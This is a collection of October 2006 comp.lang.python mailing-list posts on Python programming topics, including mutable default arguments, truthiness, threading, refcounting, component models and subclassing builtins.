Foo: > def __init__(self, name, data=[]): The binding of the name "data" to the empty list happens at compile time, not runtime. > self.name = name > self.data = data > > def addData(self, val): > self.data.append(val) Every time you call addData on an instance, it appends to the same list. So all instances created with Foo(name) share the same list in data. Think of it like this: some_list = [] x = Foo("fred", some_list) y = Foo("wilma", some_list) Isn't it obvious now that both instances share the same list? That x.data and y.data don't just have the same value, but are the same object? The same thing happens when you set the default. > f = Foo('a') > f.addData(1) > f.addData(2) > > f2 = Foo('b', []) And in this case, you've passed a DIFFERENT empty list as an argument. The normal Python way for handling this situation is to not use mutable objects as defaults unless you want this behaviour. Instead, use None as the default value: class Foo: def __init__(self, name, data=None): self.name = name if data is None: self.data = [] else: self.data = data > Any ideas? is this a bug? Well, it's a bug in your code :) It isn't a bug in Python. At worst, it is a "gotcha", but it is a deliberate design decision, and quite useful. For example, this is good for caching complicated calculations: def function(x, _cache={}): # _cache is initialised to an empty dictionary at compile time if _cache.has_key(x): return _cache[x] else: # complicated and time consuming calculation happens _cache[x] = result return result -- Steven. From tejovathi.p at gmail.com Thu Oct 12 23:29:32 2006 From: tejovathi.p at gmail.com (Teja) Date: 12 Oct 2006 20:29:32 -0700 Subject: COM and Threads In-Reply-To: References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com> Message-ID: <1160710172.060054.56400@e3g2000cwe.googlegroups.com> hg wrote: > Teja wrote: > > I have an application which uses COM 's Dispatch to create a COM based > > object. Now I need to upgrade the application to a threaded one. But > > its giving an error that COM and threads wont go together. Specifically > > its an attribute error at the point where COM object is invoked. Any > > pointers please?????? > > > > If COM is not thread safe, then use processes Thanks a LOT for your reply...... Can u please tell me how to processes...... From mike$#at^&nospam!%trauschus Fri Oct 27 09:31:58 2006 From: mike$#at^&nospam!%trauschus (Michael B. Trausch) Date: Fri, 27 Oct 2006 09:31:58 -0400 Subject: PyDev + Eclipse (Was: Re: What's the best IDE?) In-Reply-To: <1161937820.752610.207990@h48g2000cwc.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <1161880517.440039.215280@i3g2000cwc.googlegroups.com> <1161937820.752610.207990@h48g2000cwc.googlegroups.com> Message-ID: olive wrote: > Michael B. Trausch wrote: > >> Yep. Still does it. > > I'm running PyDev 1.2.4 without completion problem so far. > > Are you up to date ? > > Maybe you should install the latest from scratch. > Yep, I am up to date. As I said, I am totally confused. -- Mike From aaronwmail-usenet at yahoo.com Mon Oct 2 09:42:06 2006 From: aaronwmail-usenet at yahoo.com (aaronwmail-usenet at yahoo.com) Date: 2 Oct 2006 06:42:06 -0700 Subject: Gadfly server startup error In-Reply-To: References: Message-ID: <1159796526.279870.76340@m7g2000cwm.googlegroups.com> > Is anybody out there who has used the server+client operation > mode successfully? Well, several years ago, yes. Since then the project was taken over by some volunteers and they did an excellent job of restructuring and modernizing (somewhat) the *standalone* part of gadfly, but apparently they didn't port the *client/server* component properly. As it stands the client server portion is broken now. (I hadn't tried it after the port, sorry). I think if you find an older (pre-sourceforge) tarball it will work. I will try to find time to fix this, unless someone else wants to have a try. Sorry! Also, the reference to the new release on the site refers to a mini-release I did a year or more ago which fixed various bugs and also added an xsdb interface component. -- Aaron Watters === There once was a man from Japan whose limericks never would scan when told this was so he said "yes, I know, but I always try to put as many words in the last line as I possibly can." From pandyacus.xspam at xspam.sbcglobal.net Sat Oct 28 20:18:43 2006 From: pandyacus.xspam at xspam.sbcglobal.net (Chetan) Date: Sun, 29 Oct 2006 00:18:43 GMT Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: <87u01oug78.fsf@nandi.2wire.net> > Steven D'Aprano wrote: > > On Sat, 28 Oct 2006 03:13:42 +0100, Steve Holden wrote: > > > >>> Finally, while True/False is a good mental mapping for numeric comparisons, > >>> take the following: > >>> > >>> >>> if "Cliff is a pillar of the open source community": > >>> .... print "thank you" > >>> .... else: > >>> .... print "bugger off" > >>> > >>> bugger off > >>> > > First off, even though nobody has called me on it, this example really prints > "thank you", not "bugger off". I got confused in my cutting and pasting. > Sorry about that. > > > >>> Clearly this is not true. (Google Cliff/Dyer open source: only 11 hits.), > >>> but the string is *something* so the if block gets evaluated. > >>> > >> >>> if "The above example was bollocks": > >> ... print "You don't know what you are talking about" > >> ... else: > >> ... print "Sorry: of course you are perfectly correct" > >> ... > >> You don't know what you are talking about > > Cliff is making a point about semantics, and he's absolutely correct about > > it, although it is irrelevant since we're talking about two-value logic > > not semantics. > Cheers, > Cliff I am joining after some network downtime here, so I seem to have missed what the real issue here is. At the risk of being completely irrelevant to the discussion here, I think it doesn't seem to be just about something or nothing - is None something or nothing? It seems to be neither: >>> None >>> None and True >>> None or True True >>> None and False >>> None or False False >>> False or None >>> False and None False >>> True and None >>> True or None True >>> not None True Chetan From nospam at jollans.com Wed Oct 4 09:39:05 2006 From: nospam at jollans.com (Thomas Jollans) Date: Wed, 4 Oct 2006 15:39:05 +0200 Subject: Where to I find files: gtk.py _gtk.py and GDK.py References: <1159964268.113477.5740@e3g2000cwe.googlegroups.com> Message-ID: On Wed, 04 Oct 2006 05:17:48 -0700, vedran_dekovic at yahoo.com let this slip: > Hello, > Can you tell me where to I find exactly this files:gtk.py, _gtk.py and > GDK.py > I was look everywhere,and download package of gtk but I can't find this > files on my system, the gtk module is at /usr/lib/python2.4/site-packages/gtk-2.0/gtk/__init__.pyc . On your system, __import__('gtk').__file__ knows more than you. -- Thomas Jollans alias free-zombie From steve at holdenweb.com Mon Oct 23 20:06:05 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 24 Oct 2006 01:06:05 +0100 Subject: pretty basic instantiation question In-Reply-To: <453d5215$0$13811$4d3efbfe@news.sover.net> References: <453d5215$0$13811$4d3efbfe@news.sover.net> Message-ID: Leif K-Brooks wrote: > sittner at lkb.ens.fr wrote: > >>let's say i have a class, and i need to create a different number of >>instances (changes every time - and i can't know the number in advance) in >>a loop. >>a function receives the number of instances that are needed, and creates >>them like, >>a=Myclass() >>b=Myclass() > > > def create_instances(n): > return [Myclass() for i in xrange(n)] Leif's point being you *don't* want to bind a different name to each of a variable number of things - that way madness lies, as you end up creating Python statements on the fly using eval() and exec and other such dangerous and insanity-inducing tricks :-) Instead use a container structure like a list to hold them, and then use an appropriate technique to access them while they are still in the container. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From paul at boddie.org.uk Tue Oct 3 08:33:14 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 3 Oct 2006 05:33:14 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1159875634.285633.226980@k70g2000cwa.googlegroups.com> Message-ID: <1159878794.430315.38920@i3g2000cwc.googlegroups.com> lbolognini at gmail.com wrote: > Giovanni Bajo wrote: > > > Does this smell "Bitkeeper fiasco" to anyone else than me? > > I can't understand why people waste time arguing this stuff. Because people care about it, I guess. > Use whatever tool is best at it's job... if it's not written in Python > it doesn't mean that Python is not good for the task, only that there > hasn't been any Python programmer that applied himself to the problem > hard enough. > > And i dunno what the case against Trac is (it looks a fine tool for my > small projects) but probably it's not good enough for python.org Perhaps, although I imagine that Trac would have a lot more uptake if it handled more than just Subversion repositories. I don't know whether Trac is monolithic or not, but there is a need for a wider range of modular tools operating in the following areas: * Web-based source code browsing and searching for many repository types; perhaps one per type, all providing a similar interface. Currently, there's ViewVC which does CVS and Subversion browsing (and limited searching), LXR which does CVS, Subversion and Git searching (with arguably more limited browsing), OpenGrok which seems to provide CVS, Subversion, RCS and SCCS browsing and searching. Perhaps ViewVC just needs more attention. * Issue tracking: a huge area in which Trac, Bugzilla, Roundup and a bunch of proprietary tools exist. * Documentation or content management: whilst arguably non-essential to the management of a software project, I can see the benefit of integrating documentation with the source code browser, especially. And it's convenient if providing a service to users as well as developers if things like downloadable files can be managed in a way that is compatible with the rest of the solution. * Mailing list management/administration, feeds, summaries, reports. I did briefly look at Trac to see whether I could hack in a WebStack backend, and I'd do the same for ViewVC if I had the time, mostly because such projects already duplicate a lot of effort just to permit the deployment of the software on incompatible server solutions. There's certainly a lot these solutions could learn from each other and from lesser known solutions. > And BTW BitKeeper failed because Linus wanted to stop Tridge reverse > engineering BitKeeper, not because BK wasn't good. That's a simplistic view of the situation. The BitKeeper vendor imposes a non-compete clause on its users, which is in itself pretty scandalous, and the various attempts to accomplish independent interoperability with the BitKeeper service led to its proprietor packing up his toys and going home. You might believe that having some opportunistic company narrowly define what you can and cannot do, despite a fairly loose relationship based on you just using their stuff in your workplace, to be acceptable as long as you get to use such nice stuff. Others, however, consider implications wider than whether something is technically good, including whether or not something brings with it all sorts of unacceptable restrictions on personal freedoms. Considered through such broader criteria, one can assert that BitKeeper certainly wasn't good at all. Paul From robert.kern at gmail.com Thu Oct 12 00:57:13 2006 From: robert.kern at gmail.com (Robert Kern) Date: Thu, 12 Oct 2006 00:57:13 -0400 Subject: Python component model In-Reply-To: <1160627775.972642.14190@e3g2000cwe.googlegroups.com> References: <452b7aae$0$306$426a74cc@news.free.fr> <1160618190.314729.236250@c28g2000cwb.googlegroups.com> <1160622943.197384.91340@m7g2000cwm.googlegroups.com> <1160627775.972642.14190@e3g2000cwe.googlegroups.com> Message-ID: Ilias Lazaridis wrote: > Robert Kern wrote: >> Ilias Lazaridis wrote: >>> Robert Kern wrote: >>>> No, he's just a troll that enjoys telling everyone what to do. Don't try to get >>>> him to contribute anything useful; it won't work. >>> Mr. Kern! Seeing you working on such a seemingly excellent product, I >>> am really wondering about your tenor. >> I am confident that it is accurately aimed. Furthermore, I am confident that the >> record and the rest of this community will back me up on it. I've told you >> before that this community will not tolerate your bad behavior. How many times >> does this have to be demonstrated before you will leave? > > Please stay in-topic Asking disruptive individuals to leave is always on-topic. Now, please go away. I will happily and pleasantly converse with anyone who has questions about Traits or any of Enthought's other tools if they ask in good faith. I believe that the record shows that you do not do so. Really, I'm quite nice and helpful to other people. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From bignose+hates-spam at benfinney.id.au Thu Oct 26 04:59:32 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 26 Oct 2006 18:59:32 +1000 Subject: Printing Hidden Character in Python References: <3ACF03E372996C4EACD542EA8A05E66A0615D6@mailbe01.teak.local.net> Message-ID: <87ejsvihaj.fsf@benfinney.id.au> Wijaya Edward writes: > How can we print out the hidden character like "\n", "\r" etc in > Python? What result do you want that you're not getting with: print "\n" -- \ "Two rules to success in life: 1. Don't tell people everything | `\ you know." -- Sassan Tat | _o__) | Ben Finney From andrea.spitaleri at gmail.com Wed Oct 4 09:09:21 2006 From: andrea.spitaleri at gmail.com (andrea.spitaleri at gmail.com) Date: 4 Oct 2006 06:09:21 -0700 Subject: dictionary of list from a file Message-ID: <1159967361.355323.201050@m7g2000cwm.googlegroups.com> Hi guys, this is my first post. my "programming" background is perlish scripting and now I am learning python. I need to create a dictionary of list from a file. Normally in perl I use to do like: while(){ @info=split(/ +/,$_); push (@{$tmp{$info[0]}},$info[1]); } and then foreach $key (keys %tmp){ print "$key -> @{$tmp{$key}}\n"; } i get 2 -> 1 2 3 4 7 -> 7 8 9 10 in python I tried: b={} a=[] for line in fl.readlines(): info=lines.split() b[info[0]] = a.append(info[1]) and then for i in b: print i,b[i] i get 2 None 7 None data file is: 2 1 2 2 2 3 2 4 7 7 7 8 7 9 7 10 Any help?? Thanks in advance Best Regards Andrea From fulvio at tm.net.my Sun Oct 8 05:20:38 2006 From: fulvio at tm.net.my (Fulvio) Date: Sun, 08 Oct 2006 17:20:38 +0800 Subject: sign in Message-ID: <200610081720.38646.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** confirm 48f0beb37c698f0bb7b4c0327cf30dbd7a4b6335 From vatamane at gmail.com Sun Oct 29 17:59:01 2006 From: vatamane at gmail.com (Nick Vatamaniuc) Date: 29 Oct 2006 14:59:01 -0800 Subject: Event driven server that wastes CPU when threaded doesn't In-Reply-To: References: <1162156412.199341.315540@i42g2000cwa.googlegroups.com> Message-ID: <1162162741.666494.223330@k70g2000cwa.googlegroups.com> Good point. enterprise.adbapi is designed to solve the problem. The other interface was deprecated. Thanks, Nick Vatamaniuc Jean-Paul Calderone wrote: > On 29 Oct 2006 13:13:32 -0800, Nick Vatamaniuc wrote: > >Snor wrote: > >> I'm attempting to create a lobby & game server for a multiplayer game, > >> and have hit a problem early on with the server design. I am stuck > >> between using a threaded server, and using an event driven server. I've > >> been told time and time again that I should use an event driven server > >> design (that is, use twisted). > >> > >> There is a lot of interaction between the clients and they would often > >> need to write to the same list of values, which of course becomes a > >> problem with a threaded server - so event driven solves that problem, > >> and I assumed it would solve all my problems. However some requests > >> from clients would require that the server goes on to query a mySQL > >> server (separate machine from the server). As this occurs, there is a > >> small amount of lag while the communication with the mySQL server takes > >> place, and there could be another 100 clients waiting to make a request > >> at this point, meanwhile the server is idling while waiting for a > >> response from the mySQL server - obviously not a good server model. > >> > >> I will want the server to support as many users as is possible on any > >> given machine - and so wasted CPU cycles is something I am trying to > >> avoid. > >> > >> Is the only solution to use a threaded server to let my clients make > >> their requests and receive a response in the fastest possible time? > >Snor, > > > >The simplest solution is to change your system and put the DB on the > >same machine thus greatly reducing the time it takes for each DB query > >to complete (avoid the TCP stack completely). This way you might not > >have to change your application logic. > > > >If that is not an option, then you are faced with a problem of > >connecting a threaded programming model with an event based model > >(twisted and and such). So your job is to interface the two. In other > >words make the event based model see the threaded DB access as event > >based. And the DB driver to see the event-based system as threaded. So > >in your event dispatcher you could add events like db_request_finished > >then when a connection is requested to the DB, a callback will be > >supplied. The connection will take place in its own thread, then when > >it is finished it will put the db_request_finished and the respective > >callback function on the event queue. I am not sure how to integrate > >that into the Twisted event dispatcher... perhaps this class is the > >answer?: > >http://twistedmatrix.com/documents/current/api/twisted.python.dispatch.EventDispatcher.html > > Note, however: > > >>> from twisted.python import dispatch > __main__:1: DeprecationWarning: Create your own event dispatching mechanism, twisted.python.dispatch will soon be no more. > > Take a look at . > > Jean-Paul From exarkun at divmod.com Sun Oct 29 20:43:49 2006 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Sun, 29 Oct 2006 20:43:49 -0500 Subject: beginner's refcount questions In-Reply-To: <87odru4pc2.fsf@arcor.de> Message-ID: <20061030014349.20948.1160913475.divmod.quotient.5291@ohm> On 30 Oct 2006 00:30:53 +0000, Jens Theisen wrote: >Hello, > >python uses gc only where refcounts alone haven't yet done the >job. Thus, the following code > >class Foo: > def __del__(self): > print "deled!" > >def foo(): > f = Foo() > >foo() >print "done!" > >prints > >deled! >done! > >and not the other way round. > >In c++, this is a central technique used for all sorts of tasks, >whereas in garbage collected languages it's usually not available. > >Is there a reason not to rely on this in Python? For example, are >there alternative Python implementations that behave differently? Or >some other subtle problems? Among the numerous other reasons, there's this one: Python 2.4.3 (#2, Oct 6 2006, 07:52:30) [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> class Foo: ... def __del__(self): ... print 'collected' ... >>> def foo(): ... f = Foo() ... 1/0 ... >>> foo() Traceback (most recent call last): File "", line 1, in ? File "", line 3, in foo ZeroDivisionError: integer division or modulo by zero >>> print 'done!' done! >>> raise ValueError collected Traceback (most recent call last): File "", line 1, in ? ValueError >>> > >And some other minor question: Is there a way to query the use count >of an object? This would be useful for debugging and testing. Jean-Paul From jackokring at gmail.com Wed Oct 11 18:22:29 2006 From: jackokring at gmail.com (jacko) Date: 11 Oct 2006 15:22:29 -0700 Subject: Standard Forth versus Python: a case study In-Reply-To: <1160603937.392188.253250@m7g2000cwm.googlegroups.com> References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> Message-ID: <1160605349.641420.73650@m7g2000cwm.googlegroups.com> bearophileHUGS at lycos.com wrote: > John Doty: > > Yes. The efficient exact algorithms for this problem use *partial* > > sorts. The Forth one from the FSL is of this class (although I know of > > two better ones for big arrays). But it's tough to beat the efficiency > > of the approximate histogram-based method the Python stats module > > implements. > > The usual way to compute a true median with Python may be: > > def median(inlist): > newlist = sorted(inlist) > index = len(newlist) // 2 > if len(newlist) % 2: > return newlist[index] > else: > return (newlist[index] + newlist[index-1]) / 2.0 > > If you can use Psyco and your FITS lines are really long (well, maybe > too much, the treshold if about >~3000 in my PC) you can use something > like this instead the builtin timsort: > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/466330 > (To compute the median on a image line the median that uses sort is > probably better in most cases, expecially if you use the built in sort > of numerical libraries.) > > Bye, > bearophile partial bucket sort with quicksort of individual bucket needed for index list. APL would be fast, try a solution in J it calculates need on demand i think, and so the calculation dependance tree only does the one quicksort on the bucket needed, or both if on a bucket boundry, but this can be avoided with clever bucket selection. cheers From ms at cerenity.org Mon Oct 9 20:41:52 2006 From: ms at cerenity.org (Michael) Date: Tue, 10 Oct 2006 01:41:52 +0100 Subject: Python component model References: Message-ID: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> Edward Diener No Spam wrote: > Has there ever been, or is there presently anybody, in the Python > developer community who sees the same need and is working toward that > goal of a common component model in Python, blessed and encouraged by > those who maintain the Python language and standard modules themselves ? Someone aiming towards a standard to /replace/ everyone else's? That presupposes a level of arrogance that seems unusual in the python world. (whilst everyone's proud of their own code and they _generally_ respect other people's even if it's not their cup of tea). The WSGI standard could be a form of component model, and has gone through the PEP process so that might match your criterion. As for component models, they do exist. Our component model on the Kamaelia project [1] is one that's heavily designed around the idea of composition and independent execution of components and message passing (message passing maps to events for some sorts of message), [1] http://kamaelia.sourceforge.net/Home I wouldn't think of proposing it as the single standard to rule them all though, for the simple reason every approach has its own strengths. (We do find the approach extremely useful though) If you want a quick example of the core ideas, a tutorial aimed around building a massively simplified core is here: http://kamaelia.sourceforge.net/MiniAxon/ If you want to see a substantial example, you can look here: * http://tinyurl.com/oqjfb - whiteboarding with audio where every client is a server. The entire resulting system is also a component. For something more simplistic: * http://kamaelia.sourceforge.net/Examples/SimplestPresentationTool.html Something halfway in terms of complexity (a PVR for transcoding everything broadcast on digital TV): * http://tinyurl.com/lvygq (OK, you need to add more channels, but you'd need more CPU's too) We also have tools for introspecting a running system, and also a visual composition tool (called Compose) [2] for creating simple systems graphically, and that, as you say, handles a significant chunk of dreariness. Suggestions on improving the model and composition tool are very welcome, code is even more welcome :) [2] Sample system created with the newest version of Compose: http://tinyurl.com/numwk Compose is also a Kamaelia system, and can be found here: http://tinyurl.com/p7z76 (bulk of the wiring up is in the bottom of the file - this is an interesting example because of the use of Pygame and Tk for different parts of the interface where appropriate) However, off the top of my head, you should also look at Zope's component model, Trac's component model, Twisted's model & PEAK, and any proposal to say "this is the solution", needs to be compelling for all of these projects. Note, they do change where there's a benefit - twisted adopted some interesting ideas from Zope for example - however the onus on showing the benefit is on you. (Which if you can do, would be welcome I would expect) One thing that would probably be very useful would be to identify a way the various models these projects use can be made to interact better. The reason I mention //our// model is because we're finding it useful, and has visual composition, introspection and components have a rich amount of meta data associated with them, this may or may not fit your criterion. One of the most "bling" examples we've got right now though (which I mentioned mainly because it does show reuse up quite nicely) is where we play Dirac encoded video back onto a pygame surface and then render that onto a texture that's on a plane spinning in 3D (in realtime): * Code: http://tinyurl.com/oynxv * Screenshot: http://kamaelia.sourceforge.net/t/Dirac3D.png I've uploaded a collection of other screenshots of various kamaelia related things here: * http://kamaelia.sourceforge.net/screenshots/ You may find the following interesting: * http://kamaelia.sourceforge.net/screenshots/Compose.png * http://kamaelia.sourceforge.net/screenshots/KamaeliaOpenGL.png (example of putting components in places they don't realise) * http://kamaelia.sourceforge.net/screenshots/AxonVisualiser.png Regards, Michael. -- Kamaelia Project Lead http://kamaelia.sourceforge.net/Home http://yeoldeclue.com/blog From bretthoerner at gmail.com Tue Oct 17 15:32:21 2006 From: bretthoerner at gmail.com (Brett Hoerner) Date: 17 Oct 2006 12:32:21 -0700 Subject: why should dict not be callable? In-Reply-To: <1161113146.541464.80890@i3g2000cwc.googlegroups.com> References: <1161113146.541464.80890@i3g2000cwc.googlegroups.com> Message-ID: <1161113541.178956.310520@k70g2000cwa.googlegroups.com> georgeryo... at gmail.com wrote: > A couple of times recently I've come across this problem: I have a > large list to sort and I need to the the "key=function" argument to > sort appropriately. But I actually have the key mapping in a big > dictionary. Is this what you mean? I suppose the lambda is an "intermediary function" ... but meh... l = ['bob', 'dog', 'cat', 'apple'] d = {'bob': 7, 'dog': 0, 'cat': 14, 'apple': 3} l.sort(lambda x,y: d[x] - d[y]) print l ['dog', 'apple', 'bob', 'cat'] From frank at chagford.com Mon Oct 30 07:22:33 2006 From: frank at chagford.com (Frank Millman) Date: 30 Oct 2006 04:22:33 -0800 Subject: wxFrame don't have Bind attribute ?? In-Reply-To: <1162210087.255048.145730@m73g2000cwd.googlegroups.com> References: <1162189869.503325.51280@b28g2000cwb.googlegroups.com> <1162206945.246107.122390@h48g2000cwc.googlegroups.com> <1162207693.058720.137580@i42g2000cwa.googlegroups.com> <1162210087.255048.145730@m73g2000cwd.googlegroups.com> Message-ID: <1162210952.986867.175530@k70g2000cwa.googlegroups.com> Jia Lu wrote: > Frank Millman ??????: > > This works perfectly for me, using wxPython 2.6.3.2, on both Linux and > > Windows. > > > > What platform are you using? > Yes this works OK for me too on my FedoraCore 5, but cannot work on my > FedoraCore 6... Then it is probably an installation problem, which I doubt if I can help with. However, if you can answer the following questions, someone else may be able to assist - 1. What is the exact error message? 2. Which version of wxPython are you using? 3. How did you install wxPython - by compiling from source, or by installing an rpm? I don't think there are any FC6 rpm's available yet. If you don't get an answer here, ask on the wxPython mailing list - wxPython-users at lists.wxwidgets.org Frank From hpsekhon at googlemail.com Mon Oct 2 13:28:41 2006 From: hpsekhon at googlemail.com (Hari Sekhon) Date: Mon, 02 Oct 2006 18:28:41 +0100 Subject: Making sure script only runs once instance at a time. In-Reply-To: References: <1159531181.314800.224180@k70g2000cwa.googlegroups.com> <7xk63mpzwr.fsf@ruckus.brouhaha.com> <451D25A3.7010803@googlemail.com> <4520E5E1.3040409@googlemail.com> Message-ID: <45214C49.50701@googlemail.com> The name thing is taken care of by the fact that I use the path not just the script name. The path appears in the command and then is grepped out by that criteria, so if there was another program with the same name and in a different path then it would not affect it. Of course this is defeatable now I think about it if both programs are called the same thing and both are run as ./program_name. I could use the args to test too but this is also defeatable if being pedantic, and I don't want to compound any errors, I'm sure I do that enough without trying... So I guess we come back to using the pids in the lockfiles as you suggested and test against those. I was thinking that I could just adjust it to find the pid of the program by location of the program on the filesystem and if there is a pid for the program then there is a running instance of this exact program in that directory. This would bypass the lockfile thing again but I've just tested this and it doesn't work, the pid will be found for python but not for the python program so it breaks this - dang, that was a very nice thing to do with binaries, I guess it just won't work with python in the same way (or any other interpreted language I expect). I like your method too, it's very pythonic. I'm still weening off bash a bit as you can tell... I guess there is no escaping the lockfile at this stage unless I can think of something else... I may rewrite safety to use your lockfile with pid embedded. I've actually used a very similar method in bash before for something, saving the pid and env vars and then using the binary kill -0 to test if a program is alive by finding out whether a signal could be sent to it. Works nicely there too. -h Hari Sekhon Fredrik Lundh wrote: > Hari Sekhon wrote: > > >> How exactly do you check that the pid is still active in python? Is >> there a library or something that will allow me to manipulate system >> processes and listings etc the way everybody does in unix shells.... >> > > by passing zero to the os.kill primitive: > > os.kill(pid, 0) > > if this raises an OSError, there's no active process with the given pid. > > >> I'm a huge fan of shell so I've done my own thing which leans on shell >> as follows: >> >> import sys,commands,os >> >> scriptpath = sys.argv[0] >> scriptname = os.path.basename(scriptpath) >> >> number_procs=commands.getstatusoutput('ps -ef|grep %s|grep -v grep|wc >> -l' % scriptpath) >> >> if number_procs > 1: >> print "There appears to be another %s process running." % scriptname >> > > what if you have commands with overlapping names (e.g. "bar.py" and > "foobar.py"), or some other user on the machine happens to run a > command that, on purpose or by accident, contains your script's name > (e.g. "emacs mybar.py") ? > > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From fredrik at pythonware.com Thu Oct 19 02:45:34 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 19 Oct 2006 08:45:34 +0200 Subject: Cannot import a module from a variable In-Reply-To: References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com> Message-ID: Cameron Walsh wrote: > Woah, that actually works? Having the "finally" after the "return"? > That could make some things easier, and some things harder... The whole point of having a clean-up handler is to make sure it runs no matter what: When a return, break or continue statement is executed in the try suite of a try-finally statement, the finally clause is also executed "on the way out". http://pyref.infogami.com/try From john106henry at hotmail.com Thu Oct 19 00:25:00 2006 From: john106henry at hotmail.com (John Henry) Date: 18 Oct 2006 21:25:00 -0700 Subject: Converting existing module/objects to threads In-Reply-To: <1161219746.574285.188930@m7g2000cwm.googlegroups.com> References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com> Message-ID: <1161231900.560348.76190@b28g2000cwb.googlegroups.com> Making your code run in thread mode isn't the hard part. Just add this: import threading class subcontrollerThread(threading.Thread, subcontroller): def __init__(self,id,configurationFile): threading.Thread.__init__(self) subcontroller.__init__(self,id,configurationFile) def run(self): self.process() threads=[] # Say we have 5 of the subprocesses for iThread in range(5): th=subcontrollerThread(iThread,configurationFile) threads.append(th) th.start() ...main thread do whatever... However, you have to make sure the code inside subcontroller is thread safe. That's a topic in itself. jdlists at gmail.com wrote: > I have inheirted some existing code, that i will explain in a moment, > have needed to extend and ultimately should be able to run in threads. > I've done a bunch of work with python but very little with threads and > am looking for some pointers on how to implement, and if the lower > level modules/objects need to be rewritten to use threading.local for > all local variables. > > I have a module that communicates with a hardware device, which reads > data off of sensors, that can only talk with one controller at a time. > The controller (my module) needs to (in its simplest form) init, > configure the device, request data, and write out xml, sleep, repeat. > > The new request is that the device needs to be queried until a > condition is true, and then start requesting data. So an instance of a > controller needs to be deadicated to a hardware device forever, or > until the program ends....which ever comes first. > > This currently works in a non-threaded version, but only for one device > at a time, there is a need to create a single windows(yeach) service > that talks to many of these devices at once. I don't need worker > threads that handle seperate portions of the entire job, i need a > single application to spawn multiple processes to run through the > entire communication from configure to report, sleep until the next > interval time and run again. The communication could last from 1 > minute to 10 minutes before it ends. > > > Here is the code layout in pseudocode. > > module.Object - controller.Main - handles all socket communications > > class subcontroller(controller.Main): > def __init__(self,id,configurationFile): > controller.Main.__init__(self) > // instantiate variables and local objects that handle > configuration, logic and data output > > def configure(self,configurationFile): > //read configurationFile and configure device > > def process(self): > while 1: > //based on configuration file, query the device until condition > is true and then write xml, sleep until time to repeat and run again. > > within controller there are 5 objects and subcontroller is a sinlge > object that loads other objects from the inherited controller.System > > I'm trying to figure out how difficult it is going to be to convert > this to a threaded application. The original controller.Main is built > to talk to devices in series, never in parallel. so no objects are > considered to be thread safe, but no instance of any of the objects > should need to share resources with any other instance of teh same > object. they would all have unique configuration files and talk to > devices on unique ip/ports. > > on a unix system, forking,while potentially not optimal, would be a > fine solution, unfortunantely this needs to run on windows. > > I know i have left out many details, but hopefully this is enough to at > least enable some kind soles to lend an opinnion or two. > > many thanks > jd From steve at holdenweb.com Thu Oct 5 14:24:04 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 05 Oct 2006 19:24:04 +0100 Subject: Subclassing built-in classes In-Reply-To: <200610051700.00482.maric@aristote.info> References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com> <200610051441.54455.maric@aristote.info> <200610051700.00482.maric@aristote.info> Message-ID: Maric Michaud wrote: > Le jeudi 05 octobre 2006 15:52, Steve Holden a ?crit : > >>>But what prevents to interpret literals as a call to __builtins__ objects >>>and functions ? optimization ? what else ? >> >> >>When are literals interpreted? During translation into bytecode. > > > agreed, but what's the problem with this ? > > We can actually monkey patch all buitins like in this example : > > In [1]: oldstr=str > > In [2]: class mystr(str) : > ...: def __new__(*a, **kw) : > ...: print 'called : ', a, kw > ...: return oldstr.__new__(*a, **kw) > ...: > ...: > > In [3]: import __builtin__ > > In [4]: __builtin__.str = mystr > called : (, [${self.cache.prompt_count}]: ' >) {} > called : (, 5) {} > .... > > > If the generated bytecode of {k:v} is more or less the same as the one > gernerated by dict(((k,v))), monkey patching dict will work for dict literals > too. > > Also, this should work with scalars, 'a string' be translated in what > actually is produced by str('a string') (of course the internal code for > building scalars should still be there). > > If that is feasible without big refactoring and do not introduce noticeable > performance loss is what I don't know, but it could be a nice feature of > __builtin__ module IMO (at less I expected it to work like this when I first > tried it). > C:\Steve\Projects\tgtest>python Python 2.4.2 (#67, Sep 28 2005, 12:41:11) [MSC v.1310 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. Started with C:/Steve/.pythonrc >>> myString = "This is a string and it always will be" >>> oldstr = str >>> class mystr(oldstr): ... def __new__(*a, **kw): ... print "called:", a, kw ... >>> import __builtin__ >>> __builtin__.str = mystr >>> Readline internal error Traceback (most recent call last): File "C:\Python24\lib\site-packages\readline\Console.py", line 644, in hook_wrapper_23 raise TypeError, 'readline must return a string.' called: (, ) {} called: (, 'TypeError') {} None >>> type(myString) Readline internal error Traceback (most recent call last): File "C:\Python24\lib\site-packages\readline\Console.py", line 644, in hook_wrapper_23 raise TypeError, 'readline must return a string.' called: (, ) {} called: (, 'TypeError') {} None >>> Seems like there might be 